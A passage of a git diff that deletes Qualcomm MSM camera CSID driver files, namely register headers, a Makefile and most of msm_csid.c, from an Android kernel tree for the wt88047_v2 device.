CCI_I2C_WAIT_GPIO_EVENT_CMD, - CCI_I2C_TRIG_I2C_EVENT_CMD, - CCI_I2C_LOCK_CMD, - CCI_I2C_UNLOCK_CMD, - CCI_I2C_REPORT_CMD, - CCI_I2C_WRITE_CMD, - CCI_I2C_READ_CMD, - CCI_I2C_WRITE_DISABLE_P_CMD, - CCI_I2C_READ_DISABLE_P_CMD, - CCI_I2C_WRITE_CMD2, - CCI_I2C_WRITE_CMD3, - CCI_I2C_REPEAT_CMD, - CCI_I2C_INVALID_CMD, -}; - -enum msm_cci_gpio_cmd_type { - CCI_GPIO_SET_PARAM_CMD = 1, - CCI_GPIO_WAIT_CMD, - CCI_GPIO_WAIT_SYNC_CMD, - CCI_GPIO_WAIT_GPIO_IN_EVENT_CMD, - CCI_GPIO_WAIT_I2C_Q_TRIG_EVENT_CMD, - CCI_GPIO_OUT_CMD, - CCI_GPIO_TRIG_EVENT_CMD, - CCI_GPIO_REPORT_CMD, - CCI_GPIO_REPEAT_CMD, - CCI_GPIO_CONTINUE_CMD, - CCI_GPIO_INVALID_CMD, -}; - -struct v4l2_subdev *msm_cci_get_subdev(void); - -#define VIDIOC_MSM_CCI_CFG \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 23, struct msm_camera_cci_ctrl *) - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile deleted file mode 100644 index dd2afea2cf74a..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSM_CSID) += msm_csid.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h deleted file mode 100644 index 74373a952fd7e..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h +++ /dev/null @@ -1,56 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSID_2_0_HWREG_H -#define MSM_CSID_2_0_HWREG_H - -#include - -struct csid_reg_parms_t csid_v2_0 = { - - /* MIPI CSID registers */ - 0x0, - 0x4, - 0x4, - 0x8, - 0xc, - 0x10, - 0x14, - 0x18, - 0x1C, - 0x5c, - 0x60, - 0x64, - 0x68, - 0x6c, - 0x70, - 0x74, - 0x78, - 0x7C, - 0x80, - 0x84, - 0x88, - 0x8C, - 0x90, - 0x94, - 0x9C, - 0xA0, - 0xA8, - 0xAC, - 0xB0, - 11, - 0x7FFF, - 0x2, - 17, - 0x02000011, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h deleted file mode 100644 index 837d59c800b82..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h +++ /dev/null @@ -1,55 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSID_2_2_HWREG_H -#define MSM_CSID_2_2_HWREG_H - -#include - -struct csid_reg_parms_t csid_v2_2 = { - /* MIPI CSID registers */ - 0x0, - 0x4, - 0x4, - 0x8, - 0xc, - 0x10, - 0x14, - 0x18, - 0x1C, - 0x5c, - 0x60, - 0x64, - 0x68, - 0x6c, - 0x70, - 0x74, - 0x78, - 0x7C, - 0x80, - 0x84, - 0x88, - 0x8C, - 0x90, - 0x94, - 0x9C, - 0xA0, - 0xA8, - 0xAC, - 0xB0, - 11, - 0x7FFF, - 0x2, - 17, - 0x02001000, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h deleted file mode 100644 index 414659079ead4..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h +++ /dev/null @@ -1,55 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSID_3_0_HWREG_H -#define MSM_CSID_3_0_HWREG_H - -#include - -struct csid_reg_parms_t csid_v3_0 = { - /* MIPI CSID registers */ - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x14, - 0x18, - 0x1C, - 0x20, - 0x60, - 0x64, - 0x68, - 0x6C, - 0x70, - 0x74, - 0x78, - 0x7C, - 0x80, - 0x84, - 0x88, - 0x8C, - 0x90, - 0x94, - 0x98, - 0xA0, - 0xA4, - 0xAC, - 0xB0, - 0xB4, - 11, - 0x7FFF, - 0x4, - 17, - 0x30000000, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h deleted file mode 100644 index 1bb598384fe72..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h +++ /dev/null @@ -1,55 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSID_3_1_HWREG_H -#define MSM_CSID_3_1_HWREG_H - -#include - -struct csid_reg_parms_t csid_v3_1 = { - /* MIPI CSID registers */ - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x14, - 0x18, - 0x1C, - 0x20, - 0x60, - 0x64, - 0x68, - 0x6C, - 0x70, - 0x74, - 0x78, - 0x7C, - 0x80, - 0x84, - 0x88, - 0x8C, - 0x90, - 0x94, - 0x98, - 0xA0, - 0xA4, - 0xAC, - 0xB0, - 0xB4, - 11, - 0x7FFF, - 0x4, - 17, - 0x30010000, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h deleted file mode 100644 index 49a691f9c66f6..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h +++ /dev/null @@ -1,55 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSID_3_2_HWREG_H -#define MSM_CSID_3_2_HWREG_H - -#include - -struct csid_reg_parms_t csid_v3_2 = { - /* MIPI CSID registers */ - 0x0, - 0x4, - 0x8, - 0xC, - 0x10, - 0x14, - 0x18, - 0x1C, - 0x20, - 0x60, - 0x64, - 0x68, - 0x6C, - 0x70, - 0x74, - 0x78, - 0x7C, - 0x80, - 0x84, - 0x88, - 0x8C, - 0x90, - 0x94, - 0x98, - 0xA0, - 0xA4, - 0xAC, - 0xB0, - 0xB4, - 11, - 0x7FFF, - 0x4, - 17, - 0x30020000, -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c deleted file mode 100644 index 2c5e357a27568..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c +++ /dev/null @@ -1,827 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include "msm_csid.h" -#include "msm_sd.h" -#include "msm_camera_io_util.h" -#include "include/msm_csid_2_0_hwreg.h" -#include "include/msm_csid_2_2_hwreg.h" -#include "include/msm_csid_3_0_hwreg.h" -#include "include/msm_csid_3_1_hwreg.h" -#include "include/msm_csid_3_2_hwreg.h" - -#define V4L2_IDENT_CSID 50002 -#define CSID_VERSION_V20 0x02000011 -#define CSID_VERSION_V22 0x02001000 -#define CSID_VERSION_V30 0x30000000 -#define CSID_VERSION_V31 0x30010000 -#define CSID_VERSION_V31_1 0x30010001 -#define CSID_VERSION_V32 0x30020000 -#define CSID_VERSION_V33 0x30030000 -#define CSID_VERSION_V34 0x30040000 -#define CSID_VERSION_V40 0x40000000 -#define MSM_CSID_DRV_NAME "msm_csid" - -#define DBG_CSID 0 - -#define TRUE 1 -#define FALSE 0 - -#define CSID_NUM_CLK_MAX 16 - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif -static struct msm_cam_clk_info csid_clk_info[CSID_NUM_CLK_MAX]; -static struct msm_cam_clk_info csid_clk_src_info[CSID_NUM_CLK_MAX]; - -static struct camera_vreg_t csid_vreg_info[] = { - {"qcom,mipi-csi-vdd", REG_LDO, 0, 0, 12000}, -}; - -static struct camera_vreg_t csid_8960_vreg_info[] = { - {"mipi_csi_vdd", REG_LDO, 1200000, 1200000, 20000}, -}; - -static int msm_csid_cid_lut( - struct msm_camera_csid_lut_params *csid_lut_params, - struct csid_device *csid_dev) -{ - int rc = 0, i = 0; - uint32_t val = 0; - - if (!csid_lut_params) { - pr_err("%s:%d csid_lut_params NULL\n", __func__, __LINE__); - return -EINVAL; - } - for (i = 0; i < csid_lut_params->num_cid && i < 16; i++) { - CDBG("%s lut params num_cid = %d, cid = %d\n", - __func__, - csid_lut_params->num_cid, - csid_lut_params->vc_cfg[i]->cid); - CDBG("%s lut params dt = 0x%x, df = %d\n", __func__, - csid_lut_params->vc_cfg[i]->dt, - csid_lut_params->vc_cfg[i]->decode_format); - if (csid_lut_params->vc_cfg[i]->dt < 0x12 || - csid_lut_params->vc_cfg[i]->dt > 0x37) { - pr_err("%s: unsupported data type 0x%x\n", - __func__, csid_lut_params->vc_cfg[i]->dt); - return rc; - } - val = msm_camera_io_r(csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_cid_lut_vc_0_addr + - (csid_lut_params->vc_cfg[i]->cid >> 2) * 4) - & ~(0xFF << ((csid_lut_params->vc_cfg[i]->cid % 4) * - 8)); - val |= (csid_lut_params->vc_cfg[i]->dt << - ((csid_lut_params->vc_cfg[i]->cid % 4) * 8)); - msm_camera_io_w(val, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_cid_lut_vc_0_addr + - (csid_lut_params->vc_cfg[i]->cid >> 2) * 4); - - val = (csid_lut_params->vc_cfg[i]->decode_format << 4) | 0x3; - msm_camera_io_w(val, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_cid_n_cfg_addr + - (csid_lut_params->vc_cfg[i]->cid * 4)); - } - return rc; -} - -#if DBG_CSID -static void msm_csid_set_debug_reg(struct csid_device *csid_dev, - struct msm_camera_csid_params *csid_params) -{ - uint32_t val = 0; - val = ((1 << csid_params->lane_cnt) - 1) << 20; - msm_camera_io_w(0x7f010800 | val, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_mask_addr); - msm_camera_io_w(0x7f010800 | val, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_clear_cmd_addr); -} -#else -static void msm_csid_set_debug_reg(struct csid_device *csid_dev, - struct msm_camera_csid_params *csid_params) {} -#endif - -static void msm_csid_reset(struct csid_device *csid_dev) -{ - msm_camera_io_w(csid_dev->ctrl_reg->csid_reg.csid_rst_stb_all, - csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_rst_cmd_addr); - wait_for_completion(&csid_dev->reset_complete); - return; -} - -static int msm_csid_config(struct csid_device *csid_dev, - struct msm_camera_csid_params *csid_params) -{ - int rc = 0; - uint32_t val = 0; - void __iomem *csidbase; - csidbase = csid_dev->base; - if (!csidbase || !csid_params) { - pr_err("%s:%d csidbase %p, csid params %p\n", __func__, - __LINE__, csidbase, csid_params); - return -EINVAL; - } - - CDBG("%s csid_params, lane_cnt = %d, lane_assign = 0x%x\n", - __func__, - csid_params->lane_cnt, - csid_params->lane_assign); - CDBG("%s csid_params phy_sel = %d\n", __func__, - csid_params->phy_sel); - - msm_csid_reset(csid_dev); - - val = csid_params->lane_cnt - 1; - val |= csid_params->lane_assign << - csid_dev->ctrl_reg->csid_reg.csid_dl_input_sel_shift; - if (csid_dev->hw_version < 0x30000000) { - val |= (0xF << 10); - msm_camera_io_w(val, csidbase + - csid_dev->ctrl_reg->csid_reg.csid_core_ctrl_0_addr); - } else { - msm_camera_io_w(val, csidbase + - csid_dev->ctrl_reg->csid_reg.csid_core_ctrl_0_addr); - val = csid_params->phy_sel << - csid_dev->ctrl_reg->csid_reg.csid_phy_sel_shift; - val |= 0xF; - msm_camera_io_w(val, csidbase + - csid_dev->ctrl_reg->csid_reg.csid_core_ctrl_1_addr); - } - - rc = msm_csid_cid_lut(&csid_params->lut_params, csid_dev); - if (rc < 0) - return rc; - - msm_csid_set_debug_reg(csid_dev, csid_params); - return rc; -} - -static irqreturn_t msm_csid_irq(int irq_num, void *data) -{ - uint32_t irq; - struct csid_device *csid_dev = data; - void __iomem *csidbase; - csidbase = csid_dev->base; - - if (!csid_dev) { - pr_err("%s:%d csid_dev NULL\n", __func__, __LINE__); - return IRQ_HANDLED; - } - irq = msm_camera_io_r(csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_status_addr); - CDBG("%s CSID%d_IRQ_STATUS_ADDR = 0x%x\n", - __func__, csid_dev->pdev->id, irq); - if (irq & (0x1 << - csid_dev->ctrl_reg->csid_reg.csid_rst_done_irq_bitshift)) - complete(&csid_dev->reset_complete); - msm_camera_io_w(irq, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_clear_cmd_addr); - return IRQ_HANDLED; -} - -static int msm_csid_irq_routine(struct v4l2_subdev *sd, u32 status, - bool *handled) -{ - struct csid_device *csid_dev = v4l2_get_subdevdata(sd); - irqreturn_t ret; - CDBG("%s E\n", __func__); - ret = msm_csid_irq(csid_dev->irq->start, csid_dev); - *handled = TRUE; - return 0; -} - -static int msm_csid_subdev_g_chip_ident(struct v4l2_subdev *sd, - struct v4l2_dbg_chip_ident *chip) -{ - BUG_ON(!chip); - chip->ident = V4L2_IDENT_CSID; - chip->revision = 0; - return 0; -} - -static int msm_csid_init(struct csid_device *csid_dev, uint32_t *csid_version) -{ - int rc = 0; - - if (!csid_version) { - pr_err("%s:%d csid_version NULL\n", __func__, __LINE__); - rc = -EINVAL; - return rc; - } - - if (csid_dev->csid_state == CSID_POWER_UP) { - pr_err("%s: csid invalid state %d\n", __func__, - csid_dev->csid_state); - rc = -EINVAL; - return rc; - } - - csid_dev->base = ioremap(csid_dev->mem->start, - resource_size(csid_dev->mem)); - if (!csid_dev->base) { - pr_err("%s csid_dev->base NULL\n", __func__); - rc = -ENOMEM; - return rc; - } - - pr_info("%s: CSID_VERSION = 0x%x\n", __func__, - csid_dev->ctrl_reg->csid_reg.csid_version); - /* power up */ - if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { - rc = msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 1); - } else { - rc = msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 1); - } - if (rc < 0) { - pr_err("%s: regulator on failed\n", __func__); - goto vreg_config_failed; - } - if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { - rc = msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 1); - } else { - rc = msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 1); - } - if (rc < 0) { - pr_err("%s: regulator enable failed\n", __func__); - goto vreg_enable_failed; - } - - if (csid_dev->ctrl_reg->csid_reg.csid_version == CSID_VERSION_V22) - msm_cam_clk_sel_src(&csid_dev->pdev->dev, - &csid_clk_info[3], csid_clk_src_info, - csid_dev->num_clk_src_info); - - - rc = msm_cam_clk_enable(&csid_dev->pdev->dev, - csid_clk_info, csid_dev->csid_clk, - csid_dev->num_clk, 1); - if (rc < 0) { - pr_err("%s:%d clock enable failed\n", - __func__, __LINE__); - goto clk_enable_failed; - } - CDBG("%s:%d called\n", __func__, __LINE__); - csid_dev->hw_version = - msm_camera_io_r(csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_hw_version_addr); - CDBG("%s:%d called csid_dev->hw_version %x\n", __func__, __LINE__, - csid_dev->hw_version); - *csid_version = csid_dev->hw_version; - - init_completion(&csid_dev->reset_complete); - - enable_irq(csid_dev->irq->start); - - msm_csid_reset(csid_dev); - csid_dev->csid_state = CSID_POWER_UP; - return rc; - -clk_enable_failed: - if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { - msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } else { - msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } -vreg_enable_failed: - if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { - msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } else { - msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } -vreg_config_failed: - iounmap(csid_dev->base); - csid_dev->base = NULL; - return rc; -} - -static int msm_csid_release(struct csid_device *csid_dev) -{ - uint32_t irq; - - if (csid_dev->csid_state != CSID_POWER_UP) { - pr_err("%s: csid invalid state %d\n", __func__, - csid_dev->csid_state); - return -EINVAL; - } - - CDBG("%s:%d, hw_version = 0x%x\n", __func__, __LINE__, - csid_dev->hw_version); - - irq = msm_camera_io_r(csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_status_addr); - msm_camera_io_w(irq, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_clear_cmd_addr); - msm_camera_io_w(0, csid_dev->base + - csid_dev->ctrl_reg->csid_reg.csid_irq_mask_addr); - - disable_irq(csid_dev->irq->start); - - if (csid_dev->hw_version == CSID_VERSION_V20) { - msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, - csid_dev->csid_clk, csid_dev->num_clk, 0); - - msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - - msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } else if (csid_dev->hw_version == CSID_VERSION_V22) { - msm_cam_clk_enable(&csid_dev->pdev->dev, - csid_clk_info, - csid_dev->csid_clk, - csid_dev->num_clk, 0); - - msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - - msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } else if ((csid_dev->hw_version >= CSID_VERSION_V30 && - csid_dev->hw_version < CSID_VERSION_V31) || - (csid_dev->hw_version == CSID_VERSION_V40) || - (csid_dev->hw_version == CSID_VERSION_V31_1)) { - msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, - csid_dev->csid_clk, csid_dev->num_clk, 0); - msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } else if ((csid_dev->hw_version == CSID_VERSION_V31) || - (csid_dev->hw_version == CSID_VERSION_V32) || - (csid_dev->hw_version == CSID_VERSION_V33) || - (csid_dev->hw_version == CSID_VERSION_V34)) { - msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, - csid_dev->csid_clk, csid_dev->num_clk, 0); - msm_camera_enable_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - - msm_camera_config_vreg(&csid_dev->pdev->dev, - csid_vreg_info, ARRAY_SIZE(csid_vreg_info), - NULL, 0, &csid_dev->csi_vdd, 0); - } else { - pr_err("%s:%d, invalid hw version : 0x%x", __func__, __LINE__, - csid_dev->hw_version); - return -EINVAL; - } - - iounmap(csid_dev->base); - csid_dev->base = NULL; - csid_dev->csid_state = CSID_POWER_DOWN; - return 0; -} - -static int32_t msm_csid_cmd(struct csid_device *csid_dev, void *arg) -{ - int rc = 0; - struct csid_cfg_data *cdata = (struct csid_cfg_data *)arg; - - if (!csid_dev || !cdata) { - pr_err("%s:%d csid_dev %p, cdata %p\n", __func__, __LINE__, - csid_dev, cdata); - return -EINVAL; - } - CDBG("%s cfgtype = %d\n", __func__, cdata->cfgtype); - switch (cdata->cfgtype) { - case CSID_INIT: - rc = msm_csid_init(csid_dev, &cdata->cfg.csid_version); - CDBG("%s csid version 0x%x\n", __func__, - cdata->cfg.csid_version); - break; - case CSID_CFG: { - struct msm_camera_csid_params csid_params; - struct msm_camera_csid_vc_cfg *vc_cfg = NULL; - int8_t i = 0; - if (copy_from_user(&csid_params, - (void *)cdata->cfg.csid_params, - sizeof(struct msm_camera_csid_params))) { - pr_err("%s: %d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - if (csid_params.lut_params.num_cid < 1 || - csid_params.lut_params.num_cid > 16) { - pr_err("%s: %d num_cid outside range\n", - __func__, __LINE__); - rc = -EINVAL; - break; - } - for (i = 0; i < csid_params.lut_params.num_cid; i++) { - vc_cfg = kzalloc(sizeof(struct msm_camera_csid_vc_cfg), - GFP_KERNEL); - if (!vc_cfg) { - pr_err("%s: %d failed\n", __func__, __LINE__); - for (i--; i >= 0; i--) - kfree(csid_params.lut_params.vc_cfg[i]); - rc = -ENOMEM; - break; - } - if (copy_from_user(vc_cfg, - (void *)csid_params.lut_params.vc_cfg[i], - sizeof(struct msm_camera_csid_vc_cfg))) { - pr_err("%s: %d failed\n", __func__, __LINE__); - kfree(vc_cfg); - for (i--; i >= 0; i--) - kfree(csid_params.lut_params.vc_cfg[i]); - rc = -EFAULT; - break; - } - csid_params.lut_params.vc_cfg[i] = vc_cfg; - } - rc = msm_csid_config(csid_dev, &csid_params); - for (i--; i >= 0; i--) - kfree(csid_params.lut_params.vc_cfg[i]); - break; - } - case CSID_RELEASE: - rc = msm_csid_release(csid_dev); - break; - default: - pr_err("%s: %d failed\n", __func__, __LINE__); - rc = -ENOIOCTLCMD; - break; - } - return rc; -} - -static int32_t msm_csid_get_subdev_id(struct csid_device *csid_dev, void *arg) -{ - uint32_t *subdev_id = (uint32_t *)arg; - if (!subdev_id) { - pr_err("%s:%d failed\n", __func__, __LINE__); - return -EINVAL; - } - *subdev_id = csid_dev->pdev->id; - pr_debug("%s:%d subdev_id %d\n", __func__, __LINE__, *subdev_id); - return 0; -} - -static long msm_csid_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - int rc = -ENOIOCTLCMD; - struct csid_device *csid_dev = v4l2_get_subdevdata(sd); - mutex_lock(&csid_dev->mutex); - CDBG("%s:%d id %d\n", __func__, __LINE__, csid_dev->pdev->id); - switch (cmd) { - case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: - rc = msm_csid_get_subdev_id(csid_dev, arg); - break; - case VIDIOC_MSM_CSID_IO_CFG: - rc = msm_csid_cmd(csid_dev, arg); - break; - case VIDIOC_MSM_CSID_RELEASE: - case MSM_SD_SHUTDOWN: - rc = msm_csid_release(csid_dev); - break; - default: - pr_err_ratelimited("%s: command not found\n", __func__); - } - CDBG("%s:%d\n", __func__, __LINE__); - mutex_unlock(&csid_dev->mutex); - return rc; -} - -static const struct v4l2_subdev_internal_ops msm_csid_internal_ops; - -static struct v4l2_subdev_core_ops msm_csid_subdev_core_ops = { - .g_chip_ident = &msm_csid_subdev_g_chip_ident, - .ioctl = &msm_csid_subdev_ioctl, - .interrupt_service_routine = msm_csid_irq_routine, -}; - -static const struct v4l2_subdev_ops msm_csid_subdev_ops = { - .core = &msm_csid_subdev_core_ops, -}; - -static int msm_csid_get_clk_info(struct csid_device *csid_dev, - struct platform_device *pdev) -{ - uint32_t count; - uint32_t cnt = 0; - int i, rc; - int ii = 0; - uint32_t rates[CSID_NUM_CLK_MAX]; - const char *clock_name; - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - csid_dev->num_clk = count; - - CDBG("%s: count = %d\n", __func__, count); - if (count == 0) { - pr_err("%s: no clocks found in device tree, count=%d", - __func__, count); - return -EINVAL; - } - - if (count > CSID_NUM_CLK_MAX) { - pr_err("%s: invalid count=%d, max is %d\n", __func__, - count, CSID_NUM_CLK_MAX); - return -EINVAL; - } - - if (csid_dev->hw_dts_version == CSID_VERSION_V22) { - cnt = count; - count = 0; - CDBG("%s: cnt = %d\n", __func__, cnt); - if (cnt == 0) { - pr_err("%s: no clocks found in device tree, cnt=%d", - __func__, cnt); - return -EINVAL; - } - - if (cnt > CSID_NUM_CLK_MAX) { - pr_err("%s: invalid cnt=%d, max is %d\n", __func__, - cnt, CSID_NUM_CLK_MAX); - return -EINVAL; - } - - for (i = 0; i < cnt; i++) { - count++; - rc = of_property_read_string_index(of_node, - "clock-names", i, &clock_name); - CDBG("%s: clock_names[%d] = %s\n", __func__, - i, clock_name); - if (rc < 0) { - pr_err("%s:%d, failed\n", __func__, __LINE__); - return rc; - } - if (strcmp(clock_name, "csi_phy_src_clk") == 0) - break; - } - csid_dev->num_clk = count; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(csid_clk_info[i].clk_name)); - CDBG("%s: clock-names[%d] = %s\n", __func__, - i, csid_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s:%d, failed\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s:%d, failed", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - csid_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; - CDBG("%s: clk_rate[%d] = %ld\n", __func__, i, - csid_clk_info[i].clk_rate); - } - - if (csid_dev->hw_dts_version == CSID_VERSION_V22) { - csid_dev->num_clk_src_info = cnt - count; - CDBG("%s: count = %d\n", __func__, (cnt - count)); - - for (i = count; i < cnt; i++) { - ii++; - rc = of_property_read_string_index(of_node, - "clock-names", i, - &(csid_clk_src_info[ii].clk_name)); - CDBG("%s: clock-names[%d] = %s\n", __func__, - ii, csid_clk_src_info[ii].clk_name); - if (rc < 0) { - pr_err("%s:%d, failed\n", __func__, __LINE__); - return rc; - } - } - ii = 0; - rc = of_property_read_u32_array(of_node, 